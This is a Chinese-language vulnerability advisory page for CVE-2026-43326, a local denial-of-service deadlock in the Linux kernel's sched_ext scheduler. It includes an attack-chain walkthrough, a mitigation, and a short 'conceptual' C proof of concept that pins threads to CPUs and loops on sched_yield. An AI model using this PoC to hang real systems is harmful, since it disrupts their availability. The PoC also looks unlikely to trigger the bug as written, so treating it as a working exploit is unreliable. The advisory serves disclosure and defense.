IPBUF安全漏洞报告
English
CVE-2026-43326 CVSS 5.5 中危

CVE-2026-43326 Linux内核sched_ext死锁漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43326
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务死锁sched_ext本地漏洞

漏洞概述

Linux内核sched_ext组件存在安全漏洞,由于SCX_KICK_WAIT在kick_cpus_irq_workfn()中采用忙等待机制,且运行在硬中断上下文,导致CPU无法重新调度。当多CPU形成等待循环时,会发生死锁,进而引发系统拒绝服务。本地低权限攻击者可利用此漏洞导致系统挂起。

技术细节

该漏洞源于Linux内核sched_ext调度器扩展的逻辑缺陷。在kick_cpus_irq_workfn()函数中,代码尝试通过smp_cond_load_acquire()忙等待目标CPU的kick_sync标志更新。由于irq_work在硬中断上下文中运行,被阻塞的CPU无法进行重新调度,导致其自身的kick_sync标志无法更新。若多个CPU在调度过程中形成相互等待的闭环,系统将陷入死锁。攻击者需具备本地低权限,通过执行特制程序触发特定的调度交互,诱导CPU进入此状态。修复方案引入resched_curr(),将等待操作推迟至平衡回调中执行,并在等待期间释放rq锁,允许处理中断,从而避免死锁。

攻击链分析

STEP 1
步骤1:本地执行
本地低权限用户在目标Linux系统上执行特制的恶意程序。
STEP 2
步骤2:触发调度逻辑
程序通过特定的线程绑定和调度行为,触发sched_ext组件中的kick_cpus_irq_workfn()函数。
STEP 3
步骤3:进入忙等待
irq_work在硬中断上下文中运行,CPU开始忙等待其他CPU的kick_sync标志更新。
STEP 4
步骤4:形成死锁
由于硬中断上下文禁止重新调度,多个CPU相互等待形成闭环,导致死锁。
STEP 5
步骤5:系统拒绝服务
受影响的CPU核心挂起,系统无法处理任务,导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43326 (Conceptual) * This code attempts to trigger the sched_ext deadlock by creating * threads that bind to specific CPUs and induce heavy scheduling operations. * Requires a kernel with sched_ext enabled and vulnerable version. */ #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <sched.h> void* worker(void* arg) { int cpu = *(int*)arg; cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(cpu, &cpuset); pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset); // Heavy loop to induce scheduling kicks while(1) { sched_yield(); } return NULL; } int main() { pthread_t t1, t2; int cpu0 = 0, cpu1 = 1; // Create threads on different CPUs to potentially trigger cross-CPU kicks pthread_create(&t1, NULL, worker, &cpu0); pthread_create(&t2, NULL, worker, &cpu1); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

影响范围

Linux Kernel (包含sched_ext且未修复提交415cb193bb9736f0e830286c72a6fa8eb2a9cc5c的版本)

防御指南

临时缓解措施
如果不需要sched_ext功能,可以在内核编译配置中禁用CONFIG_SCHED_CLASS_EXT选项,或者通过内核启动参数禁用该调度器类以缓解风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表